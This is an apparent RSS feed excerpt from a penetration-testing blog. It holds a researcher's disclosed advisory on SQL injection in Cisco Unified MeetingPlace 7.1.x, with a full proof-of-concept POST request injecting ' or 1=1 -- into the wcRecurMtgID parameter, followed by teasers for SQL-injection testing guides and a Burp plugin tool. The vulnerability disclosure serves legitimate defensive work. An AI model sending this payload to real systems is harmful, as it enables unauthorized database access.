      <description>&lt;p&gt;Cisco has released a &lt;a href=&#34;http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20121031-mp&#34;&gt;security advisory&lt;/a&gt; for a vulnerability we discovered last year.&lt;br&gt;&#xA;For comparison here is our original advisory to cisco:&lt;/p&gt;&#xA;&lt;h5 id=&#34;security-advisory-for-cisco-unified-communications-solution&#34;&gt;Security Advisory for Cisco Unified Communications Solution&lt;/h5&gt;&#xA;&lt;h5 id=&#34;release-date-1182012-author-daniel-mende&#34;&gt;Release Date: 11/8/2012 Author: Daniel Mende&lt;/h5&gt;&#xA;&lt;h5 id=&#34;1-summary-multiple-critical-sql-injections-exist-in-cisco-unified-meeting-place&#34;&gt;1 SUMMARY Multiple critical SQL injections exist in Cisco unified meeting place.&lt;/h5&gt;&#xA;&lt;h5 id=&#34;2-affected-products-the-following-products-have-been-tested-as-vulnerable-so-far-cisco-unified-meetingplace-with-the-following-modules--meetingplace-agent-7119--meetingplace-audio-service-7118--meetingplace-gateway-sim-7112--meetingplace-replication-service-7119--meetingplace-master-service-7118--meetingplace-extension-7118--meetingplace-authentication-filter-7118&#34;&gt;2 AFFECTED PRODUCTS The following Products have been tested as vulnerable so far: Cisco Unified Meetingplace with the following modules: • MeetingPlace Agent 7.1.1.9 • MeetingPlace Audio Service 7.1.1.8 • MeetingPlace Gateway SIM 7.1.1.2 • MeetingPlace Replication Service 7.1.1.9 • MeetingPlace Master Service 7.1.1.8 • MeetingPlace Extension 7.1.1.8 • MeetingPlace Authentication Filter 7.1.1.8&lt;/h5&gt;&#xA;&lt;h5 id=&#34;3-details-the-following-parameters-are-affected-httpipmpwebscriptsmpxdll-post-parameter-wcrecurmtgid&#34;&gt;3 DETAILS The following parameters are affected: http://$IP/mpweb/scripts/mpx.dll [POST Parameter wcRecurMtgID]&lt;/h5&gt;&#xA;&lt;h5 id=&#34;4-vulnerability-scoring-the-severity-rating-based-on-cvss-version-2-base-vector-avn--acl--aus--cp--ip--ap-cvss-version-2-score-65-severity-low&#34;&gt;4 VULNERABILITY SCORING The severity rating based on CVSS Version 2: Base Vector: (AV:N / AC:L / Au:S / C:P / I:P / A:P) CVSS Version 2 Score: 6.5 Severity: Low&lt;/h5&gt;&#xA;&lt;h5 id=&#34;5-proof-of-concept-post-mpwebscriptsmpxdll-http11-host-10xxx-user-agent-mozilla50-accept-texthtmlapplicationxhtmlxmlapplicationxmlq09q08-accept-language-en-usenq05-accept-encoding-gzip-deflate-accept-charset-iso-8859-1utf-8q07q07-proxy-connection-keep-alive-referer-http10xxxmpwebscriptsmpxdll-cookie-cookiestrue-content-type-applicationx-www-form-urlencoded-content-length-571&#34;&gt;5 PROOF OF CONCEPT POST /mpweb/scripts/mpx.dll HTTP/1.1 Host: 10.X.X.X User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://10.X.X.X/mpweb/scripts/mpx.dll Cookie: cookies=true Content-Type: application/x-www-form-urlencoded Content-Length: 571&lt;/h5&gt;&#xA;&lt;h5 id=&#34;sessionida40490a1-ab17-4c1e-ba4a-e3c5c90f62ca1ed59e5c-a774-4546-8683--aeb15d6fbd0d55931857-6296-48ec-9434-3231c683c47dadadfjadlkenmfhmplaihgkddg-wcmeetingidwcrecurmtgid-or-11-url0wcbasetpltxt0startseiteurl1-txt1url2txt2url3txt3url4txt4url5txt5mtgcattosearch-28all2bcategories29ml_publicpostedyesmtgidtosearch0000007schedulerid-wcrequestwchashformtypelistmeetingswcstate3stplwcfindmtgtplftpl-wcfindmtgtplml_listmt_todayml_endtime_monthml_endtime_dayml_end-time_yearml_showcontmtgsyessp_vlanguagelang999i00&#34;&gt;SessionID=A40490A1-AB17-4C1E-BA4A-E3C5C90F62CA.1ED59E5C-A774-4546-8683- AEB15D6FBD0D.55931857-6296-48ec-9434-3231c683c47d.ADadfjadlkeNmFhmplaihgkdDg &amp;amp;wcMeetingID=&amp;amp;wcRecurMtgID=‘ or 1=1 —&amp;amp;URL0=wcBase.tpl&amp;amp;TXT0=Startseite&amp;amp;URL1=&amp;amp; TXT1=&amp;amp;URL2=&amp;amp;TXT2=&amp;amp;URL3=&amp;amp;TXT3=&amp;amp;URL4=&amp;amp;TXT4=&amp;amp;URL5=&amp;amp;TXT5=&amp;amp;MtgCatToSearch= %28all%2Bcategories%29&amp;amp;ML_PublicPosted=Yes&amp;amp;MtgIDToSearch=0000007&amp;amp;SchedulerID= &amp;amp;wcRequest=&amp;amp;wcHash=&amp;amp;FormType=listmeetings&amp;amp;wcState=3&amp;amp;STPL=wcFindMtg.tpl&amp;amp;FTPL= wcFindMtg.tpl&amp;amp;ML_List=MT_Today&amp;amp;ML_EndTime_Month=&amp;amp;ML_EndTime_Day=&amp;amp;ML_End Time_Year=&amp;amp;ML_ShowContMtgs=Yes&amp;amp;SP_VLanguage=lang999i00&lt;/h5&gt;&#xA;&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>SQL Injection Testing for Business Purposes Part 2</title>
      <link>https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/</link>
      <pubDate>Mon, 28 May 2012 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/</guid>
      <description>&lt;h2 id=&#34;take-care-of-the-database&#34;&gt;Take Care of the Database&lt;/h2&gt;&#xA;&lt;p&gt;There are some database specifics, every pentester should be aware of, when testing for and exploiting SQLi vulnerabilities. Besides the different string concatenation variants already covered above, there are some other specifics that have to be considered and might turn out useful in some circumstances. For example with Oracle Databases, every SELECT statement needs a following FROM statement even if the desired data is not stored within a database. So when trying to extract e.g. the DB username using a UNION SELECT statement, the DUAL table may be utilized, which should always be available. Another point, if dealing with MySQL, is the possibility to simplify the classic payload&lt;/p&gt;</description>
    </item>
    <item>
      <title>SQL Injection Testing for Business Purposes Part 1</title>
      <link>https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/</link>
      <pubDate>Mon, 14 May 2012 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/</guid>
      <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;&#xA;&lt;p&gt;SQL injection attacks have been well known for a long time and many people think that developers should have fixed these issues years ago, but doing web application pentests almost all the time, we have a slightly different view. Many SQL injection problems  potentially remain undetecteddue to a lack of proper test methodology, so we would like to share our approach and experience and help others in identifying these issues.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Use Python for Burp plugins with pyBurp</title>
      <link>https://insinuator.net/2011/12/use-python-for-burp-plugins-with-pyburp/</link>
      <pubDate>Fri, 23 Dec 2011 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2011/12/use-python-for-burp-plugins-with-pyburp/</guid>
      <description>&lt;p&gt;One of our favorite tools for conducting penetration tests (especially, but not only, web application tests) is Portswiggers’s &lt;a href=&#34;http://portswigger.net/burp/&#34; title=&#34;Burp Suite&#34;&gt;Burp Suite.&lt;/a&gt; Burp allows to extend its features by writing own plugins. But because Burp is written in Java, it only supports Java classes as plugins. Additionally, Burp only allows to use one plugin at the same time which has to be loaded on start-up.&lt;/p&gt;&#xA;&lt;p&gt;Now we have written a Burp-Python proxy (called &lt;strong&gt;pyBurp&lt;/strong&gt;) which adds some features to the plugin system:&lt;/p&gt;</description>
    </item>
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